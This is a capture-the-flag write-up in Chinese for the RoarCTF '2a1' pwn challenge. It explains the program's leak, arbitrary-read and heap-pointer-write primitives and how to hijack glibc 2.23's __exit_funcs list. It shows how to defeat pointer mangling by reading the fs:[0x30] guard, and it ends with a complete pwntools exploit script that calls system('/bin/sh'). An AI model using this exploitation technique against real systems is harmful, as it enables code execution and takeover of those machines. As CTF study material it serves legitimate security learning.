roarctf_2a1

2a1

程序分析

截屏2020-12-07 上午10.54.30

程序的主要功能有3个:

  • 程序首先会给你alarm的地址,用它可以求出libc的基址

  • 程序会讲你指定的地址上的八个字节输出出来

  • 你先制定一个地址,程序申请0x30的堆栈空间,你可以向里面输入东西,然后程序通过30行的*v8=v9将堆地址写到你制定的地址上

利用思路

一开始想伪造vtable,利用IO_overflow来执行gadget,后来发现没发饶过执行IO_overflow的条件。请教了学长之后才有了思路。

程序正常退出时或exit时会执行__run_exit_handlers函数,这个函数里面有东西可以利用。查看glibc的源码,可以看到struct exit_function_list cur = listp;,我们可以通过劫持这个指针,因为这个指针指向的结构体里面有函数指针并且之后的步骤会执行case ef_cxa:cxafct = f->func.cxa.fn;,我们可以利用此来执行system(‘/bin/sh’)获得shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit)
{
/* First, call the TLS destructors. */
#ifndef SHARED
if (&__call_tls_dtors != NULL)
#endif
__call_tls_dtors ();

/* We do it this way to handle recursive calls to exit () made by
the functions registered with `atexit' and `on_exit'. We call
everyone on the list and use the status value in the last
exit (). */
while (*listp != NULL)
{
struct exit_function_list *cur = *listp;

while (cur->idx > 0)
{
const struct exit_function *const f =
&cur->fns[--cur->idx];
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);

case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (onfct);
#endif
onfct (status, f->func.on.arg);
break;
case ef_at:
atfct = f->func.at;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (atfct);
#endif
atfct ();
break;
case ef_cxa:
cxafct = f->func.cxa.fn;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (cxafct);
#endif
cxafct (f->func.cxa.arg, status);
break;
}
}

*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
}

if (run_list_atexit)
RUN_HOOK (__libc_atexit, ());

_exit (status);
}

看一下这个结构体的结构,我们劫持了cur指针就能够指向我们伪造的exit_function_list,由于可以想任意的地址写上堆地址,我们可以覆盖cur指针为堆地址,将fn设置为system,将arg设置为/bin/sh,然后执行cxafct (f->func.cxa.arg, status);就够获得shell了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
struct exit_function
{
/* `flavour' should be of type of the `enum' above but since we need
this element in an atomic operation we have to use `long int'. */
long int flavor;
union
{
void (*at) (void);
struct
{
void (*fn) (int status, void *arg);
void *arg;
} on;
struct
{
void (*fn) (void *arg, int status);
void *arg;
void *dso_handle;
} cxa;
} func;
};
struct exit_function_list
{
struct exit_function_list *next;
size_t idx;
struct exit_function fns[32];
};

接下来我们进行调试,在__run_exit_handlers设置下断点,看看这个函数的执行情况。

截屏2020-12-07 下午3.26.07

参考源码

1
2
3
4
5
void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true);
}

函数的第二个参数即rsi是&__exit_funcs,则rbp是固定的值即&__exit_funcs,而r13的值是通过rbp取址的,从而如果我们能够改写__exit_funcs的内容则就能偶控制r13。

截屏2020-12-07 下午3.31.36

从这里可以看出r13存储的就是lisp,我们利用程序的在任意地址写上我们申请的堆地址的功能,将堆地址写到&__exit_funcs处,从而就能够劫持cur。

由于我们可以往堆内写任意的内容,我们按照exit_function_list结构体将idx设置为0,将fns[0].flavor设置为4,函数就会跳过去执行一下内容

1
2
3
4
5
6
case ef_cxa:
cxafct = f->func.cxa.fn;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (cxafct);
#endif
cxafct (f->func.cxa.arg, status);

我们再设置f->func.cxa.fn和f->func.cxa.arg就能够完成劫持,但是这里的函数地址是要经过一些操作才能获得的,进入gdb我们看看具体是什么

截屏2020-12-07 下午3.40.41

在call之前,函数地址会现经过循环右移0x11,再和fs:[0x30]异或。想要控制调用的函数就知道fs:[0x30]的值。可以利用之前读任意地址的操作获得,现在的问题是fs[0x30]指向哪里?参考这篇回答,在gdb中输入call arch_prctl(0x1003, $rsp - 0x8)然后再 x /gx $rsp - 0x8打印出结果,计算出fs:[0x30]和libc的相对偏移;截屏2020-12-07 下午10.50.32

根据相对偏移利用之前的任意读读出fs:[0x30]中的内容guard,要想再经过ror和xor操作后得到正确system地址,只需要将system地址先进行xor然后再进行循rol循环左移就行了。

1
ROL((gadget+libc)^guard,0x11)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']


def ROL(data, shift, size=64):
shift %= size
remains = data >> (size - shift)
body = (data << shift) - (remains << size)
return (body + remains)

p = process('./2+1')
le = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
gadget = le.sym['system']

cmd = ' dir ../glibc-2.23/io\n'
cmd += ' dir ../glibc-2.23/libio\n'
cmd += 'dir ../glibc-2.23/stdlib\n'
# cmd += 'b _IO_flush_all_lockp\n'
# cmd += 'b __cxa_thread_atexit_impl\n'
# cmd += 'b __call_tls_dtors\n'
cmd += 'b __run_exit_handlers\n'
gdb.attach(p, cmd)


p.recvuntil("Gift: ")
libc = int(p.recvuntil('\n')[:-1], 16)-le.sym['alarm']
print('libc', hex(libc))
print(hex(gadget+libc))


# t = libc + le.sym['environ']
t = libc+0x5df730

p.recvuntil("where to read?:")
p.send(p64(t))
p.recvuntil("data: ")
guard=u64(p.recvn(8))
print('guard', hex(guard))
print("t", hex(t))

t=libc + 0x7f3de3c355f8-0x7f3de3871000
p.recvuntil("where to write?:")
p.send(p64(t))

p.recvuntil("msg: ")
sh = libc+0x18CE17
payload= p64(0)+p64(1)+p64(4)+p64(ROL((gadget+libc)^guard,0x11))+p64(sh)
p.send(payload)

p.interactive()